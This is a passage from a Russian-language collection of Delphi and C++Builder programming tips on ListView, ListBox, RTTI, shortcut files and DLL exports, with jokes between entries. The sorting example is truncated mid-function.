GetWorkingDirectory(lpShellLinkInfoStruct^.FullPathAndNameOfWorkingDirectroy,
SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfWorkingDirectroy));
// Retrieves the location (path and index) of the icon for a Shell link object.
GetIconLocation(lpShellLinkInfoStruct^.FullPathAndNameOfFileContiningIcon,
SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfFileContiningIcon),
lpShellLinkInfoStruct^.IconIndex);
// Retrieves the hot key for a Shell link object.
GetHotKey(lpShellLinkInfoStruct^.HotKey);
// Retrieves the show (SW_) command for a Shell link object.
GetShowCmd(lpShellLinkInfoStruct^.ShowCommand);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
const
br = #13#10;
var
LinkInfo: TShellLinkInfoStruct;
s: string;
begin
FillChar(LinkInfo, SizeOf(LinkInfo), #0);
LinkInfo.FullPathAndNameOfLinkFile := 'C:\WINNT\Profiles\user\Desktop\FileName.lnk';
GetLinkInfo(@LinkInfo);
with LinkInfo do
s := FullPathAndNameOfLinkFile + br +
FullPathAndNameOfFileToExecute + br +
ParamStringsOfFileToExecute + br +
FullPathAndNameOfWorkingDirectroy + br +
Description + br +
FullPathAndNameOfFileContiningIcon + br +
IntToStr(IconIndex) + br +
IntToStr(LoByte(HotKey)) + br +
IntToStr(HiByte(HotKey)) + br +
IntToStr(ShowCommand) + br +
FindData.cFileName + br +
FindData.cAlternateFileName;
Memo1.Lines.Add(s);
end;
|
Колонки в TListBox - Вставка символа табуляции.
В книгах и других источниках по Delphi часто приводится пример создания компонента, способного выводить текст в списке в несколько колонок. Между тем, мало кому известен факт, что стандартный компонент TListBox уже содержит свойство, которое позволяет это делать. Это свойство TabWidth (в Delphi 2 оно не описано в файлах помощи, хотя так же присутствует), которое наследуется от класса TCustomListBox и задает величину табуляции в пикселах. Установите его равным, скажем, половине ширины компонента ListBox, чтобы отображалось две колонки. Когда будете добавлять строки, всавьте в нужных местах символ табуляции (^I):
ListBox1.Items.Add('Колонка1'^I'Колонка2');
|
Недостаток такого подхода заключается в том, что ширина колонки не изменяется авоматически в зависимости от ширины выводимых строк, что, впрочем, легко исправить. Посмотрите на метод TextWidth класса TCanvas. Он возвращает ширину в пикселах передаваемой ему в качестве параметра строки. Тогда перед добавлением каждого нового элемента в список проверяем, превышает ли его ширина ширину колонки:
with ListBox do
begin
W := Canvas.TextWidth(Str);
if W > TabWidth then
TabWidth := W;
end;
|
Получить список файлов в ListView как в проводнике.
| Штирлиц поднял трубку и слышал писк. - Штирлиц, подумал модем и продолжал делать инит. - Модем, подумал Штирлиц и запищал на 33600 бод. |
procedure TForm1.Button1Click(Sender: TObject);
var
ListItem: TListItem;
sr: tsearchrec;
NewColumn: TListColumn;
begin
NewColumn := ListView1.Columns.Add;
NewColumn := ListView1.Columns.Add; // добавдяются колонки
if FindFirst('*.*', faAnyFile - faDirectory - faVolumeId, sr) = 0 then
begin
ListItem := ListView1.Items.Add; // создается объект
ListItem.Caption := sr.name;
ListItem.SubItems.Add(inttostr(sr.size));
ListItem.SubItems.Add(datetimetostr(FileDateToDateTime(sr.time)));
while FindNext(sr) = 0 do
begin
ListItem := ListView1.Items.Add;
ListItem.Caption := sr.name;
ListItem.SubItems.Add(inttostr(sr.size));
ListItem.SubItems.Add(datetimetostr(FileDateToDateTime(sr.time)));
end;
FindClose(sr);
end;
end;
|
Поменять местами пункты ListView.
| Армянсое радио спрашивают: - Почему Билл Гейтс такой удачливый и богатый? - Потому, что каждый его МАТЕРИТ! |
void __fastcall TForm1::SwapLVItems(int a, int b)
{
int New;
ListView1->Items->BeginUpdate();
{
ListView1->Items->Add();
New = ListView1->Items->Count - 1;
ListView1->Items->Item[New] = ListView1->Items->Item[a];
ListView1->Items->Item[a] = ListView1->Items->Item[b];
ListView1->Items->Item[b] = ListView1->Items->Item[New];
ListView1->Items->Delete(New);
}
ListView1->Items->EndUpdate();
}
|
Пример загрузки файлов в ListView с иконками.
Автор: Song WEB-сайт: http://forum.vingrad.ru
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, comctrls, StdCtrls;
type
TForm1 = class(TForm)
ListView1: TListView;
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
procedure SaveListViewToFile(AListView: TListView; sFileName: string);
procedure LoadListViewToFile(AListView: TListView; sFileName: string);
public
end;
const
Msg1 = 'File "%s" does not exist!';
Msg2 = '"%s" is not a ListView file!';
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.SaveListViewToFile(AListView: TListView; sFileName: string);
var
idxItem, idxSub, IdxImage: Integer;
F: TFileStream;
pText: PChar;
sText: string;
W, ItemCount, SubCount: Word;
MySignature: array[0..2] of Char;
begin
//Initialization
with AListView do
begin
ItemCount := 0;
SubCount := 0;
//****
MySignature := 'LVF';
// ListViewFile
F := TFileStream.Create(sFileName, fmCreate or fmOpenWrite);
F.Write(MySignature, SizeOf(MySignature));
if Items.Count = 0 then
// List is empty
ItemCount := 0
else
ItemCount := Items.Count;
F.Write(ItemCount, SizeOf(ItemCount));
if Items.Count > 0 then
begin
for idxItem := 1 to ItemCount do
begin
with Items[idxItem - 1] do
begin
//Save subitems count
if SubItems.Count = 0 then
SubCount := 0
else
SubCount := Subitems.Count;
F.Write(SubCount, SizeOf(SubCount));
//Save ImageIndex
IdxImage := ImageIndex;
F.Write(IdxImage, SizeOf(IdxImage));
//Save Caption
sText := Caption;
w := Length(sText);
pText := StrAlloc(Length(sText) + 1);
StrPLCopy(pText, sText, Length(sText));
F.Write(w, SizeOf(w));
F.Write(pText^, w);
StrDispose(pText);
if SubCount > 0 then
begin
for idxSub := 0 to SubItems.Count - 1 do
begin
//Save Item's subitems
sText := SubItems[idxSub];
w := Length(sText);
pText := StrAlloc(Length(sText) + 1);
StrPLCopy(pText, sText, Length(sText));
F.Write(w, SizeOf(w));
F.Write(pText^, w);
StrDispose(pText);
end;
end;
end;
end;
end;
F.Free;
end;
end;
procedure TForm1.LoadListViewToFile(AListView: TListView; sFileName: string);
var
F: TFileStream;
IdxItem, IdxSubItem, IdxImage: Integer;
W, ItemCount, SubCount: Word;
pText: PChar;
PTemp: PChar;
MySignature: array[0..2] of Char;
sExeName: string;
begin
with AListView do
begin
ItemCount := 0;
SubCount := 0;
sExeName := ExtractFileName(sFileName);
if not FileExists(sFileName) then
begin
MessageBox(Handle, PChar(Format(Msg1, [sExeName])), 'I/O Error',
MB_ICONERROR);
Exit;
end;
F := TFileStream.Create(sFileName, fmOpenRead);
F.Read(MySignature, SizeOf(MySignature));
if MySignature <> 'LVF' then
begin
MessageBox(Handle, PChar(Format(Msg2, [sExeName])), 'I/O Error',
MB_ICONERROR);
Exit;
end;
F.Read(ItemCount, SizeOf(ItemCount));
Items.Clear;
for idxItem := 1 to ItemCount do
begin
with Items.Add do
begin
//Read imageindex
F.Read(SubCount, SizeOf(SubCount));
//Read imageindex
F.Read(IdxImage, SizeOf(IdxImage));
ImageIndex := IdxImage;
//Read the Caption
F.Read(w, SizeOf(w));
pText := StrAlloc(w + 1);
pTemp := StrAlloc(w + 1);
F.Read(pTemp^, W);
StrLCopy(pText, pTemp, W);
Caption := StrPas(pText);
StrDispose(pTemp);
StrDispose(pText);
if SubCount > 0 then
begin
for idxSubItem := 1 to SubCount do
begin
F.Read(w, SizeOf(w));
pText := StrAlloc(w + 1);
pTemp := StrAlloc(w + 1);
F.Read(pTemp^, W);
StrLCopy(pText, pTemp, W);
Items[idxItem - 1].SubItems.Add(StrPas(pText));
StrDispose(pTemp);
StrDispose(pText);
end;
end;
end;
end;
F.Free;
end;
end;
// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
// Save Items and Clear the ListView
SaveListViewToFile(ListView1, 'MyListView.sav');
ListView1.Items.Clear;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
// Load Items
LoadListViewToFile(ListView1, 'MyListView.sav');
end;
Перехват изменения размера колонки в TListView.
| Разговор двух новых русских: - Я пентиум купил 400 герц!!! - А что такое 400 герц? - ???... скорость вращения вентилятора!!! |
{
Question:
How do I capture a column resize event in TListView, the OnResize
only works when the ListView is changed?
Answer:
The event can be added with a bit of work. See the custom TListview derivative
below. It has 3 new events:
OnColumnResize, OnBeginColumnResize, OnEndColumnResize
}
unit PBExListview;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls;
type
TLVColumnResizeEvent = procedure(Sender: TCustomListview;
columnindex: Integer;
columnwidth: Integer) of object;
TPBExListview = class(TListview)
private
FBeginColumnResizeEvent: TLVColumnResizeEvent;
FEndColumnResizeEvent: TLVColumnResizeEvent;
FColumnResizeEvent: TLVColumnResizeEvent;
protected
procedure DoBeginColumnResize(columnindex, columnwidth: Integer);
virtual;
procedure DoEndColumnResize(columnindex, columnwidth: Integer);
virtual;
procedure DoColumnResize(columnindex, columnwidth: Integer);
virtual;
procedure WMNotify(var Msg: TWMNotify); message WM_NOTIFY;
function FindColumnIndex(pHeader: pNMHdr): Integer;
function FindColumnWidth(pHeader: pNMHdr): Integer;
procedure CreateWnd; override;
published
property OnBeginColumnResize: TLVColumnResizeEvent
read FBeginColumnResizeEvent write FBeginColumnResizeEvent;
property OnEndColumnResize: TLVColumnResizeEvent
read FEndColumnResizeEvent write FEndColumnResizeEvent;
property OnColumnResize: TLVColumnResizeEvent
read FColumnResizeEvent write FColumnResizeEvent;
end;
procedure Register;
implementation
uses CommCtrl;
procedure Register;
begin
RegisterComponents('PBGoodies', [TPBExListview]);
end;
procedure TPBExListview.DoBeginColumnResize(columnindex, columnwidth: Integer);
begin
if Assigned(FBeginColumnResizeEvent) then
FBeginColumnResizeEvent(Self, columnindex, columnwidth);
end;
procedure TPBExListview.DoEndColumnResize(columnindex, columnwidth: Integer);
begin
if Assigned(FEndColumnResizeEvent) then
FEndColumnResizeEvent(Self, columnindex, columnwidth);
end;
procedure TPBExListview.DoColumnResize(columnindex, columnwidth: Integer);
begin
if Assigned(FColumnResizeEvent) then
FColumnResizeEvent(Self, columnindex, columnwidth);
end;
function TPBExListview.FindColumnIndex(pHeader: pNMHdr): Integer;
var
hwndHeader: HWND;
iteminfo: THdItem;
ItemIndex: Integer;
buf: array [0..128] of Char;
begin
Result := -1;
hwndHeader := pHeader^.hwndFrom;
ItemIndex := pHDNotify(pHeader)^.Item;
FillChar(iteminfo, SizeOf(iteminfo), 0);
iteminfo.Mask := HDI_TEXT;
iteminfo.pszText := buf;
iteminfo.cchTextMax := SizeOf(buf) - 1;
Header_GetItem(hwndHeader, ItemIndex, iteminfo);
if CompareStr(Columns[ItemIndex].Caption, iteminfo.pszText) = 0 then
Result := ItemIndex
else
begin
for ItemIndex := 0 to Columns.Count - 1 do
if CompareStr(Columns[ItemIndex].Caption, iteminfo.pszText) = 0 then
begin
Result := ItemIndex;
Break;
end;
end;
end;
procedure TPBExListview.WMNotify(var Msg: TWMNotify);
begin
inherited;
case Msg.NMHdr^.code of
HDN_ENDTRACK:
DoEndColumnResize(FindColumnIndex(Msg.NMHdr),
FindColumnWidth(Msg.NMHdr));
HDN_BEGINTRACK:
DoBeginColumnResize(FindColumnIndex(Msg.NMHdr),
FindColumnWidth(Msg.NMHdr));
HDN_TRACK:
DoColumnResize(FindColumnIndex(Msg.NMHdr),
FindColumnWidth(Msg.NMHdr));
end;
end;
procedure TPBExListview.CreateWnd;
var
wnd: HWND;
begin
inherited;
wnd := GetWindow(Handle, GW_CHILD);
SetWindowLong(wnd, GWL_STYLE,
GetWindowLong(wnd, GWL_STYLE) and not HDS_FULLDRAG);
end;
function TPBExListview.FindColumnWidth(pHeader: pNMHdr): Integer;
begin
Result := -1;
if Assigned(PHDNotify(pHeader)^.pItem) and
((PHDNotify(pHeader)^.pItem^.mask and HDI_WIDTH) <> 0) then
Result := PHDNotify(pHeader)^.pItem^.cxy;
end;
end.
|
Сортировка ListView в режиме vsReport при нажатии на заголовок колонки.
| Автор: MBo |
| На выходных с подругой в постели интимничаю, а перед глазами - ник(!!!!) девчушки одной с обаятельной лексикой и дефектной мыльницей (поэтому фотки её у меня нет).... Ну, думаю, это уже из разряда "пора остановиться"... |
function CustomDateSortProc(Item1, Item2: TListItem; ParamSort: integer):
integer; stdcall;
begin
result := 0;
if strtodatetime(item1.SubItems[0]) > strtodatetime(item2.SubItems[0]) then
Result := 1
else if strtodatetime(item1.SubItems[0]) < strtodatetime(item2.SubItems[0])
then
Result := -1;
end;
function CustomNameSortProc(Item1, Item2: TListItem; ParamSort: integer): integer
item.Caption := sr.name;
Item.SubItems.Add(datetimetostr(filedatetodatetime(sr.time)));
end;
until FindNext(sr) < > 0;
FindClose(sr);
end;
procedure TForm1.lv1ColumnClick(Sender: TObject; Column: TListColumn);
begin
if column = lv1.columns[0] then
LV1.CustomSort(@CustomNameSortProc, 0)
else
LV1.CustomSort(@CustomDateSortProc, 0)
end;
|
Прокрутка для TListView или TTreeView.
| Один квакер говорит другому: - Ну что, пошли на рыбалку? - Сейчас, только Thunderbolt возьму! |
// KEYWORDS: SendMessage, WM_HSCROLL, WM_VSCROLL
// scroll a ListView vertically down
SendMessage(ListView1->Handle, WM_VSCROLL, SB_LINEDOWN, 0);
// scroll a TreeView vertically up
SendMessage(TreeView1->Handle, WM_VSCROLL, SB_LINEUP, 0);
// Here are some other scroll parameters that can be sent...
{
SB_BOTTOM Scrolls to the lower right.
SB_ENDSCROLL Ends scroll.
SB_LINEDOWN Scrolls one line down.
SB_LINEUP Scrolls one line up.
SB_PAGEDOWN Scrolls one page down.
SB_PAGEUP Scrolls one page up.
SB_TOP Scrolls to the upper left.
}
|
Список чисел и объектов с расширенными возможностями бинарного поиска.
Автор: Александр Шарахов WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Список чисел и объектов с расширенными возможностями бинарного поиска.
В списке хранятся:
Data - числа (идентификаторы/свойства/хеши объектов), по которым планируется
выполнять поиск,
Objects - указатели на соответствующие объекты,
SeqNo - последовательные номера, присвоенные элементам при добавлении в список.
Класс TDataList аналогичен TStringList.
Основные особенности:
1. Тип TData выбирается произвольно (требуется перекомпиляция).
2. В сортированном списке дубликаты всегда упорядочены в порядке поступления.
Если количество добавлений превышает 2*MaxInt+1, данное правило может
нарушаться. Если это критично, исправьте тип FSeqNo на int64.
3. Свойство Duplicates (разрешены ли дубликаты) имеет тип boolean.
4. Из-за операций с дубликатами никогда не возникают исключения.
5. Если в сортированном списке дубликаты не разрешены, метод Add при добавлении
дубликата возвращает отрицательное значение, позволяющее определить положение
в списке конфликтующего элемента.
6. Методы Insert и Delete не выполняют никаких действий с недопустимым индексом.
Метод Insert также не выполняет никаких действий при попытке вставить элемент
в сортированный список.
7. Кроме очевидных методов поиска IndexOfData, IndexOfObject, IndexOfSeqNo,
возвращающих индекс первого подходящего элемента, существуют также:
function FindFirstGE(D: TData; var Index: integer): boolean;
function FindLastLE(D: TData; var Index: integer): boolean;
Первая функция используется для определения в сортированном списке индекса
первого элемента, большего или равного указанному, вторая - для определения
индекса последнего элемента, меньшего или равного указанному. Положительный
результат означает, что найден элемент, равный указанному, и его индекс
помещается в переменную Index. В случае отрицательного результата в нее
помещается индекс элемента (если бы такой элемент существовал), большего
или меньшего указанного. Это значение может выходить за границы списка.
8. Фукции
function FindFirstCount(D: TData; var Index: integer): integer;
function FindLastCount(D: TData; var Index: integer): integer;
могут использоваться для поиска в сортированном списке с одновременным
подсчетом количества элементов, равных указанному. Если количество
найденных элементов отличается от нуля, то переменная Index принимает
значение соответственно первого или последнего из найденных элементов.
Зависимости: нет
Автор: Александр Шарахов, alsha@mailru.com, Москва
Copyright: Александр Шарахов
Дата: 19 января 2003 г.
***************************************************** }
unit DataLst;
interface
{ TDataList class }
type
TData = cardinal;
TDataItem = record
FData: TData;
FObject: TObject;
FSeqNo: cardinal; // To sort duplicates in addition order
end;
PDataItem = ^TDataItem;
TDataItemList = array[0..MaxInt div sizeof(TDataItem) - 1] of TDataItem;
PDataItemList = ^TDataItemList;
TDataCompare = function(PDI1, PDI2: PDataItem): integer;
TDataList = class
private
FList: PDataItemList;
FCount: integer;
FCapacity: integer;
FSeqCount: cardinal;
FSorted: boolean;
FDuplicates: boolean; // If true then allow duplicates
procedure ExchangeItems(Index1, Index2: integer);
procedure Grow;
procedure QuickSort(L, R: integer; Compare: TDataCompare);
procedure InsertItem(Index: integer; D: TData; O: TObject);
procedure SetSorted(Value: boolean);
protected
function GetCapacity: integer;
function GetData(Index: integer): TData;
function GetObject(Index: integer): pointer {TObject};
function GetSeqNo(Index: integer): cardinal;
procedure PutData(Index: integer; D: TData);
procedure PutObject(Index: integer; O: pointer {TObject});
procedure SetCapacity(NewCapacity: integer);
public
destructor Destroy; override;
function Add(D: TData; O: TObject): integer; virtual;
procedure Clear; virtual;
procedure Delete(Index: integer); virtual;
procedure Exchange(Index1, Index2: integer); virtual;
function FindFirstGE(D: TData; var Index: integer): boolean; virtual;
function FindLastLE(D: TData; var Index: integer): boolean; virtual;
function FindFirstCount(D: TData; var Index: integer): integer; virtual;
function FindLastCount(D: TData; var Index: integer): integer; virtual;
function IndexOfData(D: TData): integer; virtual;
function IndexOfObject(O: TObject): integer; virtual;
function IndexOfSeqNo(SN: cardinal): integer; virtual;
procedure Insert(Index: integer; D: TData; O: TObject); virtual;
procedure Sort; virtual;
property Data[Index: integer]: TData read GetData write PutData;
property Objects[Index: integer]: pointer {TObject} read GetObject write
PutObject;
property SeqNo[Index: integer]: cardinal read GetSeqNo;
property Count: integer read FCount;
property Duplicates: boolean read FDuplicates write FDuplicates;
property Sorted: boolean read FSorted write SetSorted;
end;
implementation
{ TDataList }
destructor TDataList.Destroy;
begin
;
inherited Destroy;
FCount := 0;
SetCapacity(0);
FSeqCount := 0;
end;
function TDataList.Add(D: TData; O: TObject): integer;
begin
;
if FSorted then
if FindLastLE(D, Result) then
if FDuplicates then
inc(Result)
else
Result := -1 - Result // Can't add duplicate
else
inc(Result)
else
Result := FCount;
if Result >= 0 then
InsertItem(Result, D, O);
end;
procedure TDataList.Clear;
begin
;
if FCount <> 0 then
begin
;
FCount := 0;
SetCapacity(0);
FSeqCount := 0;
end;
end;
procedure TDataList.Delete(Index: integer);
begin
;
if (Index >= 0) and (Index < FCount) then
begin
;
dec(FCount);
if Index < FCount then
System.Move(
FList^[Index + 1], FList^[Index], (FCount - Index) * SizeOf(TDataItem));
end;
end;
procedure TDataList.Exchange(Index1, Index2: integer);
begin
;
if (not FSorted) and (Index1 >= 0) and (Index1 < FCount) and (Index2 >= 0) and
(Index2 < FCount) then
ExchangeItems(Index1, Index2);
end;
procedure TDataList.ExchangeItems(Index1, Index2: integer);
var
Item1, Item2: PDataItem;
Temp: TDataItem;
begin
;
Item1 := @FList^[Index1];
Item2 := @FList^[Index2];
Temp := Item1^;
Item1^ := Item2^;
Item2^ := Temp;
end;
function TDataList.GetCapacity: integer;
begin
;
Result := FCapacity;
end;
function TDataList.GetData(Index: integer): TData;
begin
;
if (Index < 0) or (Index >= FCount) then
Result := 0
else
Result := FList^[Index].FData;
end;
function TDataList.GetObject(Index: integer): pointer {TObject};
begin
;
if (Index < 0) or (Index >= FCount) then
Result := nil
else
Result := FList^[Index].FObject;
end;
function TDataList.GetSeqNo(Index: integer): cardinal;
begin
;
if (Index < 0) or (Index >= FCount) then
Result := 0
else
Result := FList^[Index].FSeqNo;
end;
procedure TDataList.Grow;
var
Delta: integer;
begin
;
if FCapacity > 64 then
Delta := FCapacity div 4
else
Delta := 16;
SetCapacity(FCapacity + Delta);
end;
function TDataList.IndexOfData(D: TData): integer;
begin
;
if FSorted then
if FindFirstGE(D, Result) then {found}
else
Result := -1
else
begin
;
Result := 0;
while (Result < FCount) and (D <> FList^[Result].FData) do
inc(Result);
if Result >= FCount then
Result := -1;
end;
end;
function TDataList.IndexOfObject(O: TObject): integer;
begin
;
Result := 0;
while (Result < FCount) and (O <> FList^[Result].FObject) do
inc(Result);
if Result >= FCount then
Result := -1;
end;
function TDataList.IndexOfSeqNo(SN: cardinal): integer;
begin
;
Result := 0;
while (Result < FCount) and (SN <> FList^[Result].FSeqNo) do
inc(Result);
if Result >= FCount then
Result := -1;
end;
procedure TDataList.Insert(Index: integer; D: TData; O: TObject);
begin
;
if (not FSorted) and (Index >= 0) and (Index < FCount) then
InsertItem(Index, D, O);
end;
procedure TDataList.InsertItem(Index: integer; D: TData; O: TObject);
begin
;
if FCount = FCapacity then
Grow;
if Index < FCount then
System.Move(FList^[Index], FList^[Index + 1], (FCount - Index) *
SizeOf(TDataItem));
with FList^[Index] do
begin
;
FData := D;
FObject := O;
FSeqNo := FSeqCount;
end;
inc(FCount);
inc(FSeqCount);
end;
procedure TDataList.PutData(Index: integer; D: TData);
begin
;
if (not FSorted) and (Index >= 0) and (Index < FCount) then
FList^[Index].FData := D;
end;
procedure TDataList.PutObject(Index: integer; O: pointer {TObject});
begin
;
if (Index >= 0) and (Index < FCount) then
FList^[Index].FObject := O;
end;
procedure TDataList.SetCapacity(NewCapacity: integer);
begin
;
ReallocMem(FList, NewCapacity * SizeOf(TDataItem));
FCapacity := NewCapacity;
end;
function FindDataCompare(PDI1, PDI2: PDataItem): integer;
begin
;
Result := 0;
if PDI1^.FData < PDI2^.FData then
dec(Result)
else if PDI1^.FData > PDI2^.FData then
inc(Result);
end;
function TDataList.FindFirstGE(D: TData; var Index: integer): boolean;
var
i, j, t, c: integer;
begin
;
Result := false;
i := -1; // Index of the element less than D
j := FCount - 1;
if FSorted then
while i < j do
begin
;
t := (i + j + 1) shr 1; // Round to right
c := FindDataCompare(@FList^[t].FData, @D);
if c < 0 then
i := t
else
begin
;
j := t - 1;
if c = 0 then
Result := true;
end;
end;
Index := i + 1;
end;
function TDataList.FindLastLE(D: TData; var Index: integer): boolean;
var
i, j, t, c: integer;
begin
;
Result := false;
i := 0;
j := FCount; // Index of the element greater than D
if FSorted then
while i < j do
begin
;
t := (i + j) shr 1; // Round to left
c := FindDataCompare(@FList^[t].FData, @D);
if c > 0 then
j := t
else
begin
;
i := t + 1;
if c = 0 then
Result := true;
end;
end;
Index := j - 1;
end;
function TDataList.FindFirstCount(D: TData; var Index: integer): integer;
begin
;
if FindFirstGE(D, Index) then
begin
;
Result := 1;
while FindDataCompare(@FList^[Index + Result].FData, @D) = 0 do
inc(Result);
end
else
Result := 0;
end;
function TDataList.FindLastCount(D: TData; var Index: integer): integer;
begin
;
if FindLastLE(D, Index) then
begin
;
Result := 1;
while FindDataCompare(@FList^[Index - Result].FData, @D) = 0 do
inc(Result);
end
else
Result := 0;
end;
function SortDataCompare(PDI1, PDI2: PDataItem): integer;
begin
;
Result := 0;
if PDI1^.FData < PDI2^.FData then
dec(Result)
else if PDI1^.FData > PDI2^.FData then
inc(Result)
// Compare duplicates
else if PDI1^.FSeqNo < PDI2^.FSeqNo then
dec(Result)
else if PDI1^.FSeqNo > PDI2^.FSeqNo then
inc(Result);
end;
procedure TDataList.QuickSort(l, r: integer; Compare: TDataCompare);
var
i, j, p: integer;
begin
;
repeat;
i := l;
j := r;
p := (i + j) shr 1;
repeat;
while Compare(@FList^[i], @FList^[p]) < 0 do
inc(i);
while Compare(@FList^[p], @FList^[j]) < 0 do
dec(j);
if i <= j then
begin
;
ExchangeItems(i, j);
if p = i then
p := j
else if p = j then
p := i;
inc(i);
dec(j);
end;
until i > j;
if l < j then
QuickSort(l, j, Compare);
l := i;
until i >= r;
end;
procedure TDataList.Sort;
begin
if (not FSorted) and (FCount > 1) then
QuickSort(0, FCount - 1, SortDataCompare);
end;
procedure TDataList.SetSorted(Value: boolean);
begin
if FSorted <> Value then
begin
if Value then
Sort;
FSorted := Value;
end;
end;
end.
Отобразить все свойства и события компонента.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
TypInfo;
procedure ListComponentProperties(Component: TComponent; Strings: TStrings);
var
Count, Size, I: Integer;
List: PPropList;
PropInfo: PPropInfo;
PropOrEvent, PropValue: string;
begin
Count := GetPropList(Component.ClassInfo, tkAny, nil);
Size := Count * SizeOf(Pointer);
GetMem(List, Size);
try
Count := GetPropList(Component.ClassInfo, tkAny, List);
for I := 0 to Count - 1 do
begin
PropInfo := List^[I];
if PropInfo^.PropType^.Kind in tkMethods then
PropOrEvent := 'Event'
else
PropOrEvent := 'Property';
PropValue := VarToStr(GetPropValue(Component, PropInfo^.Name));
Strings.Add(Format('[%s] %s: %s = %s', [PropOrEvent, PropInfo^.Name,
PropInfo^.PropType^.Name, PropValue]));
end;
finally
FreeMem(List);
end;
end;
// Example: List all Properties/Events from Button1 in a TListBox
procedure TForm1.Button1Click(Sender: TObject);
begin
ListComponentProperties(Button1, ListBox1.Items);
end;
Получить экспортируемые из DLL функции.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
ImageHlp;
procedure ListDLLExports(const FileName: string; List: TStrings);
type
TDWordArray = array [0..$FFFFF] of DWORD;
var
imageinfo: LoadedImage;
pExportDirectory: PImageExportDirectory;
dirsize: Cardinal;
pDummy: PImageSectionHeader;
i: Cardinal;
pNameRVAs: ^TDWordArray;
Name: string;
begin
List.Clear;
if MapAndLoad(PChar(FileName), nil, @imageinfo, True, True) then
begin
try
pExportDirectory := ImageDirectoryEntryToData(imageinfo.MappedAddress,
False, IMAGE_DIRECTORY_ENTRY_EXPORT, dirsize);
if (pExportDirectory <> nil) then
begin
pNameRVAs := ImageRvaToVa(imageinfo.FileHeader, imageinfo.MappedAddress,
DWORD(pExportDirectory^.AddressOfNames), pDummy);
for i := 0 to pExportDirectory^.NumberOfNames - 1 do
begin
Name := PChar(ImageRvaToVa(imageinfo.FileHeader, imageinfo.MappedAddress,
pNameRVAs^[i], pDummy));
List.Add(Name);
end;
end;
finally
UnMapAndLoad(@imageinfo);
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
List: TStrings;
i: Integer;
s: string;
begin
List := TStringList.Create;
try
ListDLLExports('C:\WINDOWS\SYSTEM32\browseui.dll', List);
ShowMessage(IntToStr(list.Count) + ' functions in dll');
s := 'List of functions:';
for i := 0 to List.Count - 1 do
s := s + #13#10+List[i];
ShowMessage(S);
finally
List.Free
end;
end;
Получить список свойств перечисляемого типа и список их значений.
unit ListForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
ListBox1: TListBox;
Panel1: TPanel;
ComboBox1: TComboBox;
procedure ComboBox1Change(Sender: TObject);
procedure ListBox1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
SelPropName: string;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
uses
TypInfo;
procedure TForm1.ComboBox1Change(Sender: TObject);
var
PropInfo: PPropInfo;
ptd: PTypeData;
I: Integer;
PropValue: Integer;
begin
// set the name of the current property
if ComboBox1.Text <> '' then
SelPropName := ComboBox1.Text;
// add to the listbox the values
// of the enumerated type
ListBox1.Items.Clear;
PropInfo := GetPropInfo (
ClassInfo, SelPropName);
// Note: ClassInfo refers to the form, self
ptd := GetTypeData (PropInfo.PropType^);
// list the values
for I := ptd.MinValue to ptd.MaxValue do
ListBox1.Items.Add (GetEnumName (
PropInfo.PropType^, I));
// select the current value
PropValue := GetOrdProp (self, PropInfo);
ListBox1.ItemIndex := ptd.MinValue + PropValue;
end;
procedure TForm1.ListBox1Click(Sender: TObject);
var
PropInfo: PPropInfo;
ptd: PTypeData;
itemIndex: Integer;
begin
if SelPropName <> '' then
begin
PropInfo := GetPropInfo (
ClassInfo, SelPropName);
// Note: ClassInfo refers to the form, self
ptd := GetTypeData(PropInfo.PropType^);
// save combo box index
itemIndex := ComboBox1.ItemIndex;
// select the current value
SetOrdProp (self, PropInfo,
ListBox1.ItemIndex - ptd.MinValue);
// restore combo box index
ComboBox1.OnChange := nil;
ComboBox1.ItemIndex := itemIndex;
ComboBox1.OnChange := ComboBox1Change;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
pProps: PPropList;
nTotProps, nProps, I: Integer;
begin
// set the initial value
SelPropName := '';
// get the total number of properties
nTotProps := GetTypeData(ClassInfo).PropCount;
// allocate the required memory
GetMem (pProps, sizeof (PPropInfo) * nTotProps);
// protect the memory allocation
try
// fill the pProps with a filtered list
nProps := GetPropList (ClassInfo,
[tkEnumeration], pProps);
// fill the combo box
for I := 0 to nProps - 1 do
ComboBox1.Items.Add (pProps[I].Name);
finally
// free the allocated memmory
FreeMem (pProps, sizeof (PPropInfo) * nTotProps);
end;
end;
end.
|
Загрузить весь проект
Получить список событий и их описание.
unit MethForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, TypInfo, ExtCtrls;
type
TForm1 = class(TForm)
Listbox1: TListBox;
ListBox2: TListBox;
Splitter1: TSplitter;
procedure Listbox1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
public
procedure AddType (pti: PTypeInfo);
end;
procedure ShowMethod (pti: PTypeInfo; sList: TStrings);
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Listbox1Click(Sender: TObject);
var
pti: PTypeInfo;
begin
pti := PTypeInfo (ListBox1.Items.Objects [
Listbox1.ItemIndex]);
ListBox2.Items.Clear;
ShowMethod (pti, ListBox2.Items);
end;
type
TParamData = record
Flags: TParamFlags;
ParamName: ShortString;
TypeName: ShortString;
// beware: string length varies!!!
end;
PParamData = ^TParamData;
// show RTTI information for method pointers
procedure ShowMethod (pti: PTypeInfo; sList: TStrings);
var
ptd: PTypeData;
pParam: PParamData;
nParam: Integer;
Line: string;
pTypeString, pReturnString: ^ShortString;
begin
// protect against misuse
